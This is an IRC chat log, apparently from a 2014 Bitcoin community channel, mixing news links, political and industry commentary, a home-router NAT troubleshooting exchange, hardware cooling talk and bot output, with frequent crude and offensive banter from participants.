none of this "but mp, you never gave any proof". there's your motherfuc king proof now stfu and shine my boots. |
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14:00 |
mircea_popescu |
asciilifeform this whole fiasco reminds me of naggum's discussion of the y2k thing. |
14:00 |
asciilifeform |
mircea_popescu: precisely it |
14:01 |
asciilifeform |
http://www.xach.com/naggum/articles/3140985758772364@naggum.no.html |
14:01 |
assbot |
Re: Is LISP dying? - Naggum cll archive |
14:01 |
mircea_popescu |
the one thing all those idiots will never say is exactly the only thing they should be saying at all : this other guy didn't do it, he is our king, our lord, our sovereign, and so much better than we may even aspire to one day be. |
14:05 |
thestringpuller |
http://cogcoop.com/ |
14:05 |
assbot |
COG Site |
14:06 |
ben_vulpes |
what is a bitcoin application? |
14:06 |
assbot |
[HAVELOCK] [HASH] 750 @ 0.00169999 = 1.275 BTC [+] {3} |
14:06 |
mats_cd03 |
its social good through financial freedom, man. |
14:07 |
ben_vulpes |
financial freedom is the only social good |
14:07 |
asciilifeform |
'another way to look at this is to see that software in today's society has a number of diseased elements, to consider that maggots eat only diseased or dead tissue, that dead or dying software projects lie around all over the place, like a horrible war zone between ignorant users and frightened managers, and pretend that you're a maggot. you wouldn't care about the living and the healthy who prosper outside th |
14:07 |
asciilifeform |
e war zone, you'd rush to the war zone to join the feeding frenzy, right? so, to complete the grim picture, software in our society is diseased, the activity you read about are all about cleaning up the disasters and surviving the equivalent of plagues, and it just takes a tremendous amount of people and work to keep the whole system from dying, like the incredibly stupid year-2000 problem.' |
14:07 |
asciilifeform |
'to take but one simple example: suppose you thought of the new millennium when you wrote your application back in 1972 -- not only wouldn't you be invited to the party, those who knew you had done it right from the start and who probably laughed at you at the time would positively hate you now, and they sure as hell wouldn't tell people about you. and the more stupid they are, the more important it would be to |
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14:07 |
asciilifeform |
pretend that nobody was smart enough to see the next millennium coming.' |
14:07 |
asciilifeform |
(herr naggum) |
14:08 |
thestringpuller |
RIP Naggum |
14:08 |
thestringpuller |
His story is as tragic as a jazz musician. |
14:16 |
mats_cd03 |
i thought the eulogy was beautifully written |
14:17 |
mircea_popescu |
like a horrible war zone between ignorant users and frightened managers << the exact fucking problem. |
14:17 |
mats_cd03 |
if not terrible. almost as though she read "Speaker of the Dead", and thought, "ill do that, but better." |
14:17 |
mircea_popescu |
a frightened manager is about as useful as a punctured set of wellington boots. |
14:17 |
mircea_popescu |
mats_cd03 naggum's ? yes, formaly it's great. |
14:17 |
mircea_popescu |
substantively i find it offensive. |
14:24 |
kakobrekla |
http://shrani.si/f/2Y/SL/4sFlbIcT/this-time-next-year.png |
14:24 |
kakobrekla |
we will be millionaires! |
14:29 |
mircea_popescu |
lol |
14:34 |
chetty |
http://www.abc15.com/news/region-phoenix-metro/central-phoenix/fired-ups-worker-accused-of-stealing-160k-diamond-trading-it-for-20-worth-of-marijuana |
14:34 |
assbot |
Fired UPS worker Walter Earl Morrison accused of stealing $160K diamond, trading it for marijuana - ABC15 Arizona |
14:37 |
asciilifeform |
chetty: lol, they actually sent such a thing via commercial parcel co. instead of courier ? |
14:38 |
mats_cd03 |
i wonder how easy it is to fence diamonds |
14:39 |
mats_cd03 |
i suspect it is not really that valuable |
14:41 |
mats_cd03 |
http://www.cnbc.com/id/102033875 >> USSOCOM plugs bitcoin foundation... |
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14:42 |
mats_cd03 |
"The bitcoin community doesn't necessarily endorse U.S. foreign policy, and the bitcoin community doesn't necessarily endorse everything the U.S. intelligence community does." But, he said, "things that are morally wrong, bitcoin rejects." ... |
14:42 |
thestringpuller |
Bitcoin Foundatoin shouldn't be in the US |
14:43 |
thestringpuller |
There shouldn't be a Bitcoin Foundation at all. |
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15:02 |
thestringpuller |
!s web of trust database |
15:02 |
assbot |
0 results for 'web of trust database' : http://search.bitcoin-assets.com/?q=web+of+trust+database |
15:02 |
thestringpuller |
!s wot database |
15:02 |
assbot |
1 results for 'wot database' : http://search.bitcoin-assets.com/?q=wot+database |
15:04 |
thestringpuller |
http://log.bitcoin-assets.com/?date=11-08-2014#789979 << for back reference |
15:04 |
assbot |
Logged on 11-08-2014 04:12:46; Jason: http://cahier2.ww7.be/bitcoinmirror/otc/today/ |
15:07 |
assbot |
[MPEX] [S.MPOE] 18755 @ 0.000753 = 14.1225 BTC [+] |
15:07 |
penguirker |
New blog post: http://trilema.com/2014/today-is-the-international-day-of-remembering-how-mircea-popescu-is-better-than-me-and-related-observances/ |
15:10 |
mircea_popescu |
pete_dushenski: how does that much lulz fit in one little screen cap?<< guy kinda looks like a walrus |
15:11 |
mircea_popescu |
kuzetsa: I just audited and apparently I made an assumption which is not true << ahem. |
15:11 |
thestringpuller |
yay! how do I celebrate? |
15:12 |
mircea_popescu |
Naphex: for all that panic with bash not too many exploits hitting << the good stuff happebed prior to the release. |
15:12 |
mircea_popescu |
thestringpuller bake cookies ? |
15:13 |
thestringpuller |
already done |
15:15 |
asciilifeform |
mircea_popescu: today-is-the << great 'muhahahaha!' piece. |
15:15 |
thestringpuller |
i love having 18900 trilema credits |
15:16 |
mircea_popescu |
asciilifeform gotta do things to the fullest i say |
15:16 |
mircea_popescu |
i can almost imagine some guy in say 2035 having to interact with that. |
15:16 |
thestringpuller |
this article is the best thing ever |
15:17 |
asciilifeform |
mircea_popescu: the unsettling discovery is that mass-derp can continue far longer than the example under consideration. e.g., 'crypto ag' still exists, multi-$b, 'unknown' ownership, and... multi-decade loyal customers. |
15:18 |
asciilifeform |
there is a particular species of chumpatronium, what one might call a chumpassal (chump, vassal) |
15:18 |
asciilifeform |
who demonstrates subservience by volunteering to wear the collar. |
15:19 |
mircea_popescu |
hm ? |
15:19 |
asciilifeform |
i think this even came up here once. u.s. corps deliberately closing eyes to back orifices of all kinds, to avoid the red tape of subpoenas |
15:20 |
asciilifeform |
quite like the u.s. demand that eu 'galileo' sat. constellation have a u.s.-owned remote 'off' switch - 'or we'll have to shoot' |
15:20 |
asciilifeform |
(^ what happened to that? i've no idea, ask them) |
15:20 |
mircea_popescu |
not that it changes anything really. |
15:20 |
mircea_popescu |
!up Kuba1234_ |
15:21 |
mircea_popescu |
asciilifeform the fact that the eu even considered that demand, and i don't mean answer to it, but even considered it |
15:22 |
mircea_popescu |
puts the whole pretense of representativity into question. |
15:22 |
asciilifeform |
obligatory, orlov's deer hunter... http://log.bitcoin-assets.com/?date=09-07-2014#750027 |
15:22 |
assbot |
Logged on 09-07-2014 00:50:59; asciilifeform: '
we need a word that describes the artifacts generated in response to irrational actors who demand to be fooled. As the old saying goes, A fool and his money are soon parted at the fools own insistence, no less! If the deer comes out of the forest and walks up to the hunter, it is not proper hunting, and this is not proper con artistry or grift or embezzlement or any other term we use to describ |
15:22 |
assbot |
[MPEX] [S.MPOE] 40900 @ 0.000753 = 30.7977 BTC [+] |
15:22 |
asciilifeform |
we have an instance of symbiosis. |
15:23 |
mircea_popescu |
i am unconvinced. |
15:24 |
asciilifeform |
well, naturally. right now folks have to choose between 'rich and healthy or poor and diseased.' because actual security is expensive (the way unicorn meat is expensive) |
15:24 |
asciilifeform |
but if it were an actual option, appealing to beggar and miser alike, then we know if deliberate bending over is the actual phenomenon at work |
15:24 |
mircea_popescu |
it's not expensive except in terms of derpage. |
15:25 |
mircea_popescu |
"can i wear my pretenses with this five dollar suit ?" "no" "wow what an EXPENSIVE suit!11" |
15:25 |
asciilifeform |
this is rather more like how in parts of africa, it would be 'expensive' to hire a man without aids virus |
15:26 |
asciilifeform |
i.e. you'd have to fly him in |
15:26 |
mircea_popescu |
not so. |
15:26 |
mircea_popescu |
that analogy would hold if a) no aids could infect trhe brain ever and b) all human parts were detachable, and cost less than a pill in a us hospital. |
15:26 |
mircea_popescu |
500 bucks buys you six different pairs of legs and arms |
15:27 |
asciilifeform |
where do you buy software stack without any dark matter ? |
15:28 |
mircea_popescu |
it's... free. |
15:28 |
* |
asciilifeform might have a somewhat stricter definition of dark matter... |
15:29 |
mircea_popescu |
no, you just don't want to apply management to the philosophical problem. |
15:30 |
mircea_popescu |
suppose you have an infinite supply of liars. can you construct an oracle out of this ? |
15:30 |
asciilifeform |
i'd happily apply alchemy and astrology, if they worked. |
15:30 |
asciilifeform |
depends - what kind of liars. |
15:30 |
asciilifeform |
if they're the 'greek' type, that are simply 'not gate', then - sure. |
15:30 |
mircea_popescu |
suppose there's at least three different types, and you can identify them. |
15:30 |
mircea_popescu |
absolutely. |
15:30 |
asciilifeform |
classic puzzler for boys |
15:30 |
asciilifeform |
of course yes. |
15:30 |
mircea_popescu |
so then. debian, gentoo, bsds, etc. |
15:31 |
asciilifeform |
but once you add fools (who can also be liars, but let's not complicate unnecessarily) to the mix... |
15:31 |
mircea_popescu |
you don';t add fools to the mix. |
15:31 |
mircea_popescu |
we're not building a world where fools have a chance. |
15:31 |
mircea_popescu |
fools can be either slaves or dead. |
15:32 |
asciilifeform |
generations of fools have shat in the soup, though. |
15:32 |
mircea_popescu |
this is like saying "we've lived there forever" |
15:32 |
asciilifeform |
e.g. the existence and continued persistence of 'c', x86, etc |
15:32 |
mircea_popescu |
say to gengis, see. |
15:33 |
chetty |
http://af.reuters.com/article/commoditiesNews/idAFL6N0RP3V020140924 |
15:33 |
assbot |
Austrian minister for legal action against EU over UK nuclear plant| Agricultural Commodities| Reuters |
15:34 |
mircea_popescu |
chetty austrians are even more nutso than the germans |
15:36 |
chetty |
the line of nutsos is getting long |
15:38 |
mircea_popescu |
so today i learned someone came up with the following idea : take n2o4, heat. it dissociates into 2no2. put through turbine, extract work. as it cools and loses pressure n2o4 reforms. compress, cycle. |
15:38 |
mircea_popescu |
i should like to see this thing blow up sometime. |
15:40 |
assbot |
[MPEX] [S.MPOE] 31799 @ 0.000751 = 23.881 BTC [-] {2} |
15:41 |
mats_cd03 |
http://www.cnn.com/2014/09/26/us/oklahoma-beheading/index.html |
15:41 |
assbot |
Beheading suspect recently fired, Oklahoma police say - CNN.com |
15:42 |
chetty |
this beheading thing is about at meme status |
15:47 |
asciilifeform |
'hedsoff.com' |
15:47 |
mircea_popescu |
asciilifeform btw what did you think of the hour of battle rewrite ? |
15:47 |
assbot |
[HAVELOCK] [B.SELL] 199 @ 0.00370351 = 0.737 BTC [-] {2} |
15:48 |
asciilifeform |
mircea_popescu: it was spiffy, you oughta do more sheckleys. |
15:48 |
* |
asciilifeform marches off to do meatspace chore |
15:49 |
mircea_popescu |
hm. |
15:52 |
mats_cd03 |
http://twentytwowords.com/girly-things-are-gut-wrenchingly-powerful-when-paired-with-poignant-military-pictures |
15:52 |
assbot |
Girly things are gut-wrenchingly powerful when paired with poignant military pictures | 22 Words |
15:53 |
|
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15:53 |
mircea_popescu |
why's this gutwrench[ing] construction become such a staple of chicklit anyway ? |
15:54 |
mircea_popescu |
the likeliness of someone having actually witnessed a savaging is pretty much inversely proprotional to the count of "gutwrenching" they used over their lifetime. |
15:54 |
mats_cd03 |
perhaps because females are intimately familiar with the particular sensation of gut wrenching? |
15:54 |
mircea_popescu |
at best they flatter themselves to be. |
15:54 |
mats_cd03 |
who knows. i dangle |
15:56 |
mats_cd03 |
these fucking tumblr things are why personnel advocate for the draft |
15:56 |
mats_cd03 |
as misguided as that is, there's something to be said for shared sacrifice |
15:56 |
mircea_popescu |
by the way, that dangle reminds me : here's what i currently believe the best dialogue in the history of cinema : http://www.youtube.com/watch?v=9r-vu-l8mLE |
15:56 |
assbot |
Miller's Crossing -- Take your flunky and dangle - YouTube |
15:57 |
mircea_popescu |
mats_cd03 there's definitely value in educating teenagers. |
15:58 |
* |
chetty thinks most women only have a vague idea of where gut is |
16:02 |
bounce |
what? it's where all the feels are. obviously. |
16:14 |
assbot |
[MPEX] [S.MPOE] 13550 @ 0.00075058 = 10.1704 BTC [-] |
16:19 |
thestringpuller |
http://i.imgur.com/aRZvMZ6.jpg |
16:20 |
mats_cd03 |
thestringpuller: i have an important question for you. |
16:20 |
mats_cd03 |
are you like me, and your inner monologue is performed by a black man? |
16:21 |
mats_cd03 |
i get this impression from you. perhaps i'm projecting. |
16:22 |
assbot |
[MPEX] [S.MPOE] 33100 @ 0.00075023 = 24.8326 BTC [-] {3} |
16:23 |
thestringpuller |
well i am a black man. i was just surrounded by white people all my life. |
16:23 |
thestringpuller |
so my inner black man is very repressed. like in the chappelle's "When keeping it real goes wrong" |
16:24 |
mats_cd03 |
i see |
16:25 |
mats_cd03 |
i am yellow, so i guess i'm like a meat pie |
16:31 |
bounce |
pink on the inside, yellow on the outside, and a blackened soul? |
16:36 |
mats_cd03 |
sure |
16:44 |
mircea_popescu |
"At the Munich Satellite Navigation Summit on 10 March 2010, a Chinese government official asked the European Commission why it no longer wanted to work with China, and when China's cash investment in Galileo would be returned." |
16:44 |
mircea_popescu |
lel. |
16:50 |
assbot |
[MPEX] [S.MPOE] 15429 @ 0.00074927 = 11.5605 BTC [-] |
16:59 |
chetty |
https://pbs.twimg.com/media/ByZD6KmCYAAFFHm.jpg |
17:02 |
mircea_popescu |
chetty quite. |
17:02 |
mircea_popescu |
pity it doesn't also mention how bush and his lackey blair lied about imagined "weapons" that they themselves did have, but iraq did not have. |
17:04 |
mircea_popescu |
all this mess stemming from the intellectually bankrupt ideology that there is such a thing as "progress" which somehow is made out of "change". |
17:04 |
mircea_popescu |
when mingled with the nonsensical misrepresentation of democracy as a representative process, the resulting hypergolic explosion scatters headless chickens over a large surface, which headless chickens then proceed to "do something" because they "have to do something" |
17:09 |
chetty |
http://www.buenosairesherald.com/article/170705/tax-bureau-gets-swiss-bank-accounts-data |
17:09 |
assbot |
Tax bureau gets Swiss bank accounts data - BuenosAiresHerald.com |
17:12 |
mircea_popescu |
everyone's whore, those swiss. |
17:12 |
mircea_popescu |
"The head of the AFIP tax bureau Ricardo Echegaray received yesterday an encrypted CD from the French government containing information on 3,900 undeclared bank accounts of Argentine origin in the Swiss branch of HSBC. The original source of information is whistleblower Hervé Falciani, who worked as an IT engineer at the bank for seven years before deciding to leak what he saw as systemic tax evasion." |
17:12 |
mircea_popescu |
lawl. |
17:13 |
mircea_popescu |
"We will analyze the information on a case-by-case basis, and cross-reference this database with the taxpayers that have declared accounts on Switzerlands HSBC, Echegaray explained afterwards when meeting the press at the Argentine Embassy in France." << how about "we can't use stolen data". |
17:13 |
ben_vulpes |
and yet being "unbanked" is a bad thing to the libtard |
17:14 |
mircea_popescu |
"According to Claríns supplement iEco, it was Falciani who originally contacted the Argentine authorities to talk about the list, but there was a legal obstacle to circumvent before the information could be used by AFIP: if the list was given straight to Echegaray outside official state channels, its validity would not have stood in front of a court of law. |
17:14 |
mircea_popescu |
The fact that the information was today released by the French state to Echegaray under the legal umbrella of a bilateral agreement between both countries tax authorities on so-called double taxation put those doubts to rest." |
17:15 |
mircea_popescu |
yeah lol, im sure it does. |
17:15 |
mircea_popescu |
if you're poor. |
17:17 |
assbot |
[MPEX] [S.MPOE] 31700 @ 0.0007508 = 23.8004 BTC [+] {2} |
17:20 |
chetty |
http://deutsche-wirtschafts-nachrichten.de/2014/09/25/auf-dem-weg-in-den-autoritaeren-staat-ukraine-fuehrt-zwangsarbeit-ein/ |
17:20 |
assbot |
Auf dem Weg in den autoritren Staat: Ukraine fhrt Zwangsarbeit ein | DEUTSCHE WIRTSCHAFTS NACHRICHTEN |
17:23 |
assbot |
[MPEX] [S.MPOE] 1833 @ 0.00074927 = 1.3734 BTC [-] |
17:29 |
mircea_popescu |
Butterfly Labs is disappointed in the heavy-handed actions of the Federal Trade Commission. In a rush to judgment, the FTC has acted as judge, jury and executioner, contrary to our intended system of governmental checks and balances. " |
17:29 |
mircea_popescu |
dude check them out, they're doing it EXACTLY . |
17:29 |
mircea_popescu |
It appears the FTC has decided to go to war on bitcoin overall and is starting with Butterfly Labs. Butterfly Labs is being portrayed by the FTC as a bogus and fake company." |
17:29 |
mircea_popescu |
scammer won't change his tune even if his tune is pre-published years earlier. because.. why would he. |
17:30 |
mircea_popescu |
;;later tell jborkl you don't know where to start ? here's a suggestion as to where to start : http://trilema.com/2013/preemptive-strike-to-have-on-hand-for-when-butterfly-labs-gets-hauled-off-to-jail-in-corpore/ |
17:30 |
assbot |
Preemptive strike, to have on hand for when Butterfly Labs gets hauled off to jail in corpore pe Trilema - Un blog de Mircea Popescu. |
17:30 |
gribble |
The operation succeeded. |
17:30 |
mircea_popescu |
;;rated jborkl |
17:30 |
gribble |
You have not yet rated user jborkl |
17:31 |
mircea_popescu |
;;rated jborkl_ |
17:31 |
gribble |
You rated user jborkl_ on Sat Feb 1 01:01:22 2014, with a rating of 1, and supplied these additional notes: He blogs and stuff.. |
17:31 |
mircea_popescu |
;;unrate jborkl_ |
17:31 |
gribble |
Successfully removed your rating for jborkl_. |
17:31 |
assbot |
[MPEX] [S.MPOE] 17188 @ 0.00074873 = 12.8692 BTC [-] |
17:39 |
mats_cd03 |
bfl is bitcoin. good defense. |
17:40 |
kakobrekla |
bfl is buttcoin. |
17:53 |
BingoBoingo |
assbot> Tax bureau gets Swiss bank accounts data - BuenosAiresHerald.com << Much bigger news for BTC than PayPal trying to get its dick wet |
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~ 15 minutes ~ |
18:09 |
mircea_popescu |
soo, trying to daisychain nat routers. the 2nd one i configured to use as static ip 192.168.0.102 which is what the upstream one would have allocated it, and then 192.168.0.1 as gateway |
18:09 |
mircea_popescu |
the router connects fine, as proven by knowing what time it is. computers connecting to it see its network, but fail to connect to the interwebs |
18:09 |
mircea_popescu |
what am i doing wrong here ? |
18:11 |
assbot |
[MPEX] [S.MPOE] 19900 @ 0.00075231 = 14.971 BTC [+] |
18:11 |
BingoBoingo |
Did you make sure the goat was a virgin? |
18:12 |
mircea_popescu |
no but srsly. |
18:14 |
BingoBoingo |
Is it an issue with the firewall/packet-filter? |
18:15 |
mircea_popescu |
i would guess no. |
18:17 |
assbot |
MolokoDesk +v failed; L1: 0, L2: 0 |
18:18 |
dub |
you went long on NAT.ROUTERS |
18:22 |
dub |
the meme that keeps on giving |
18:23 |
mircea_popescu |
dub heh |
18:25 |
mircea_popescu |
so can the innermost lan think the router is 192:168:0:1 while the router thinks the other router is 192:168:0:1 ? |
18:25 |
mircea_popescu |
hm, this shou;dn't work. |
18:26 |
dub |
correct |
18:29 |
dignork |
never tried it, but net 1 - 192.168.0.x, net 2 - 192.168.1.x should work if both use 255.255.255.0 mask |
18:31 |
mircea_popescu |
so logically, the outside router is 192.168.0.1, and the inside router 192.168.0.102 in its system. however the public ip address of the inside router is 192.168 >> 1 <<< . 1 |
18:31 |
mircea_popescu |
and everything magically works. |
18:31 |
mircea_popescu |
dignork exactly. tyvm :) |
18:32 |
mircea_popescu |
hey, being a network engineer is kinda fun. |
18:32 |
dub |
lets see about 'everything' |
18:33 |
mircea_popescu |
dub i know enough to do port forwarding for things that iwant to work, |
18:33 |
mircea_popescu |
moreover i don't use so many dumb things that have annoying needs. |
18:40 |
dub |
<mircea_popescu> hey, being a network engineer is kinda fun. |
18:41 |
dub |
get back to me when you've stood in a cold noisy DC on a con call to mumbai for 15 hours |
18:45 |
dignork |
dub: do you know of any sane alternative to wireshark? because working with <1G pcaps and re-reading the whole stupid file each time I change view filter hurts my sense of beauty |
18:45 |
asciilifeform |
dignork: tcpdump... |
18:45 |
dignork |
asciilifeform: it still works on unindexed raw file... |
18:45 |
asciilifeform |
also lol, mircea_popescu getting his boxes off dhcp just today...? |
18:46 |
dub |
ngrep et al are good for refining your set |
18:46 |
asciilifeform |
afaik there is no serious contender for alternative to 'wireshark.' |
18:46 |
asciilifeform |
just one of those things which there's precisely one of. |
18:46 |
asciilifeform |
(at least 'wireshark' is phreee, unlike 'ida') |
18:47 |
dignork |
they do have something commercial, but I did not look too close |
18:48 |
asciilifeform |
chetty: ukraine-fuehrt-zwangsarbeit-ein << arbeit macht frei. |
18:49 |
asciilifeform |
dignork: which 'they' |
18:50 |
RagnarDanneskjol |
!up MolokoDesk |
18:50 |
MolokoDesk |
hi. |
18:50 |
MolokoDesk |
regarding the deedBot project: it's demonstratable now. |
18:50 |
dignork |
asciilifeform: on wireshark site they promoted some wunder-вафля which can work with large datasets, but it's not there anymore |
18:51 |
MolokoDesk |
and useable if you want to tolerate it's in-channel announcements. I'll make it terse by commenting most of those out. at that point it's ready to use. |
18:51 |
RagnarDanneskjol |
mircea_popescu - pls ping MolokoDesk when you want to go over deed module |
18:51 |
asciilifeform |
dignork: haha, yes, it's gone. |
18:51 |
MolokoDesk |
the verbose messages are probably useful for the demo to discuss to any level of detail what it does and how it does it. |
18:52 |
dub |
wiresharks problem is being single thread iirc |
18:53 |
BingoBoingo |
Multithreading is just a workaround for the real problem |
18:53 |
asciilifeform |
dub: has other problems also |
18:53 |
dignork |
dub: it's IO bound mostly, so I'd vote for indexes :) |
18:54 |
dub |
dudes at old shop bought a wizbang 24 core/80?gigglebits machine for the purpose,then watched it humming along on 1 core |
18:57 |
* |
BingoBoingo is sad more people aren't building chips "Up" and making freon check a part of computer maintenance in more scenarios. Manhattan, New York instead of Manhattan, Kansas... |
18:58 |
asciilifeform |
BingoBoingo: ever own the old 'koolance' freon cpu gizmo ? |
18:59 |
BingoBoingo |
asciilifeform: not at all |
18:59 |
asciilifeform |
nm, 'kryotech' |
18:59 |
asciilifeform |
http://images.anandtech.com/old/cooling/kryotech/renegade/diagram.jpg |
19:00 |
asciilifeform |
(why never caught on? answer: anything that can go below room temp. can have problems with condensation.) |
19:00 |
BingoBoingo |
Ah, I'm imaging the heat exchange goes outdoors. Like in airconditioning. |
19:01 |
asciilifeform |
regardless of where the hot end is. |
19:01 |
asciilifeform |
if cold end is below room temp - can condense. |
19:01 |
dub |
know a dude that built one out of an old fridge |
19:01 |
asciilifeform |
trivial, esp. if you can weld. |
19:02 |
dub |
never saw active duty for reason stated |
19:02 |
asciilifeform |
simply not a very good idea. |
19:02 |
asciilifeform |
better idea - gigantic heat sinks. |
19:02 |
asciilifeform |
as in, desk sized. |
19:02 |
BingoBoingo |
But if the cold end never dips below room temperature... |
19:03 |
assbot |
[MPEX] [S.MPOE] 77405 @ 0.00074831 = 57.9229 BTC [-] {3} |
19:03 |
* |
BingoBoingo is imagining single core producing lots of heat... |
19:03 |
dub |
ercall this guy saying it was -36C on teh end oslt |
19:04 |
BingoBoingo |
dub: Then his chip is severely underclocked for this solution |
19:04 |
asciilifeform |
BingoBoingo: what are you working with ? |
19:05 |
BingoBoingo |
asciilifeform: A napkin, "Netburst" pentium 4 stats and imagining scaling from there straight up on the clock... |
19:07 |
xanthyos |
https://www.youtube.com/watch?v=KoQYy8NWIiE |
19:07 |
assbot |
THURMAN VS BRUTALUS - YouTube |
19:07 |
asciilifeform |
BingoBoingo: what do you intend to do with the memory ? |
19:09 |
BingoBoingo |
asciilifeform: That might be on the next napkin. atm I'm kind of leaning towards the memory not of die using some heat to prevent condensation. |
19:09 |
asciilifeform |
BingoBoingo: not the heat, no. the wait states. |
19:11 |
BingoBoingo |
Bottleneck sure. Kind of like a disk drive in comparison. If a process and its handlers can't fit in 16 MB of on chip cache though this is a wrong solution for the task. |
19:12 |
asciilifeform |
BingoBoingo: intel and amd both have 'cache-as-ram mode', find it. |
19:13 |
RagnarDanneskjol |
requesting op please invite deedbot to chan |
19:13 |
asciilifeform |
BingoBoingo: it is used, for example, by bios prior to dram init sequence. |
19:13 |
asciilifeform |
kakobrekla ? |
19:14 |
RagnarDanneskjol |
don't know who else is op in here |
19:14 |
BingoBoingo |
asciilifeform: actually now my brain is encountering locking errors on finding a use case for garage sized single core monster machine. |
19:15 |
asciilifeform |
if you don't know why you need it - you don't |
19:16 |
asciilifeform |
BingoBoingo: here, have some fun, https://www.google.com/search?site=&tbm=pts&source=hp&q=national+security+agency |
19:16 |
assbot |
national security agency - Google Search |
19:16 |
asciilifeform |
(a long gap, more than a few years, between filing date and publication date - means a formerly secret patent. those are only printed when the subject matter leaks.) |
19:17 |
assbot |
[MPEX] [S.MPOE] 7750 @ 0.00074826 = 5.799 BTC [-] |
19:17 |
BingoBoingo |
Ah, more productive. I was almost going to have to posit a "spiritual" sort of use case. Machine that does i++ as fast as possible, not as useful machine but as useful monument. |
19:17 |
asciilifeform |
prayer mill ? |
19:18 |
asciilifeform |
build an adder out of GaAs ECL logic. |
19:19 |
BingoBoingo |
Well, I dun see how such a machine would be useful as a networked device |
19:19 |
asciilifeform |
actually it isn't an entirely useless thing, such devices can be used to provide experimental proof of, e.g., sr time dilation (yes, exists) |
19:20 |
asciilifeform |
^ was an actual problem with u.s. gps sats. |
19:20 |
asciilifeform |
!up MolokoDesk |
19:20 |
decimation |
time dilation is accounted for in any reasonable gps receiver |
19:20 |
asciilifeform |
yes. |
19:20 |
asciilifeform |
but, if i recall, wasn't, when first built. |
19:21 |
decimation |
yeah I would believe. Also GPS is one of the few that chose a rational timebase, no leap seconds |
19:21 |
BingoBoingo |
This is true. GPS in the 90's was rather useless for pinpoint one's location in a city. Can now tell which building's entrance you are pondering. |
19:22 |
asciilifeform |
BingoBoingo: nothing to do with this. clinton switched off 'selective availability' |
19:23 |
BingoBoingo |
I might need to read more, but I though the whole selective availability thing was a bluff. |
19:23 |
asciilifeform |
BingoBoingo: misnomer. wasn't about the present-day claim of switching off location data to a geographic region |
19:24 |
decimation |
selective availability definitely existed |
19:24 |
asciilifeform |
rather, there were two signals, one 'civilian' - nearly worthless, another 'private' - which was accurate |
19:24 |
assbot |
[MPEX] [S.MPOE] 10950 @ 0.00074756 = 8.1858 BTC [-] {2} |
19:25 |
dub |
not same signal with a keyed delay? |
19:25 |
BingoBoingo |
asciilifeform: Well yeah, that second is what I mean. I dunno that the private was especially useful until the satellites accounted for relativity as they intuited time onto the manifold. |
19:26 |
asciilifeform |
http://www.aviationtoday.com/av/issue/feature/The-Real-Reason-Selective-Availability-Was-Turned-Off_12739.html |
19:26 |
assbot |
Avionics Magazine :: The Real Reason Selective Availability Was Turned Off |
19:26 |
asciilifeform |
^ speculation |
19:27 |
dub |
anyway isnt BingoBoingo conflating gps with goog/appl location service? |
19:27 |
BingoBoingo |
https://www.google.com/patents/US7607858?dq=national+security+agency&hl=en&sa=X&ei=xfMlVNjpD5KYyASjy4CgBQ&ved=0CEIQ6AEwBQ << No countermeasure for thermite? (Not to breach, but to seal more) |
19:27 |
assbot |
Patent US7607858 - Secure manhole accessway - Google Patents |
19:27 |
dub |
gps still sucks without good sky |
19:28 |
asciilifeform |
BingoBoingo: no countermeasure to a turned over garbage truck on it, either |
19:28 |
BingoBoingo |
dub> anyway isnt BingoBoingo conflating gps with goog/appl location service? << Not really. Dun have those standards to work with. |
19:28 |
kakobrekla |
RagnarDanneskjol cant you joint it? |
19:28 |
kakobrekla |
join* |
19:28 |
asciilifeform |
BingoBoingo: u.s. military establishment has an ancient obsession with kommunist saboteurs (tm) hiding inside manholes. |
19:29 |
asciilifeform |
BingoBoingo: go to wash., d.c., look at manholes; sometimes they forget to strip the 'presidential' weld seals off. |
19:30 |
BingoBoingo |
Ah, this particular municipality I'm in atm has a problem of erosion wound manholes threatening to collapse street, leaving the structures supporting manholes as tire slaughtering juggernauts. |
19:30 |
MolokoDesk |
that's interesting. (.join function for deedBot) |
19:31 |
BingoBoingo |
!up deedBot |
19:31 |
MolokoDesk |
bear with the verbose mode... |
19:31 |
MolokoDesk |
.dump |
19:31 |
deedBot |
time=1411774314 LAST_BUNDLE_TIME=1411774109 elapsed=205 |
19:31 |
deedBot |
TRACKING: BUNDLE_PENDING-15DJH8JTCPpNhTFAFRyvLNNs4zVStB8UH2.txt = (address = 15DJH8JTCPpNhTFAFRyvLNNs4zVStB8UH2) (mtime = 1411774101) (ctime = 1411774109) |
19:31 |
deedBot |
DEEDBOT_CHAN=#cex-squawk ERROR_CHAN=MolokoDesk USING_API=bkchain.org scraping/API INTERVAL=3600 |
19:31 |
deedBot |
(switching DEEDBOT_CHAN from #cex-squawk to #bitcoin-assets) |
19:32 |
kakobrekla |
register the bots nick |
19:32 |
MolokoDesk |
i would but I'm not sure I want to put my password in the code. |
19:32 |
kakobrekla |
... |
19:32 |
kakobrekla |
make up a new password! |
19:32 |
dub |
but its MY passwd! |
19:32 |
kakobrekla |
ok ill make it up for you |
19:33 |
dub |
1p4sswerd |
19:33 |
bounce |
******* |
19:33 |
kakobrekla |
i was going to suggest password124 |
19:33 |
MolokoDesk |
freenode assigns the same password to every nick I register. they're all me. It's some anti-sockpuppet feature. There may be work around. I haven't looked into it deeply |
19:33 |
kakobrekla |
(usually the hackers go for 123) |
19:33 |
bounce |
haxx0rz!!1! |
19:33 |
dub |
uh, use a different email address? |
19:34 |
MolokoDesk |
registering it then dumping the registration would work, but not with WoT |
19:34 |
kakobrekla |
listen to dub |
19:34 |
bounce |
think you'd have to reg the bot separately anyhow. ask in #freenode? |
19:34 |
dub |
but its MY email address! |
19:34 |
kakobrekla |
use dubs email address |
19:34 |
MolokoDesk |
heh. |
19:34 |
BingoBoingo |
Use me@hotmail.com |
19:35 |
MolokoDesk |
mailinator.com |
19:35 |
BingoBoingo |
billg@microsoft.com |
19:36 |
BingoBoingo |
or maybe even tlarussa@diamondbacks.com |
19:36 |
BingoBoingo |
(last email address not known to go to a mailbox) |
19:36 |
BingoBoingo |
(or the first) |
19:39 |
MolokoDesk |
asking nickserv often works out well. |
19:40 |
MolokoDesk |
I may simply make the deedBot register itself. |
19:40 |
kakobrekla |
ping me when its done |
19:44 |
MolokoDesk |
back in a while. shuffling logins and uninstalling/reinstalling deedBot. I'll spare you further details. |
19:45 |
BingoBoingo |
So... MacIvory is kind of the first thing I've seen that makes the Mac II seem interesting |
19:45 |
asciilifeform |
BingoBoingo: you can still buy them. |
19:45 |
asciilifeform |
(or, last i checked, a few years ago0 |
19:45 |
BingoBoingo |
I know |
19:47 |
asciilifeform |
and, incidentally... |
19:49 |
asciilifeform |
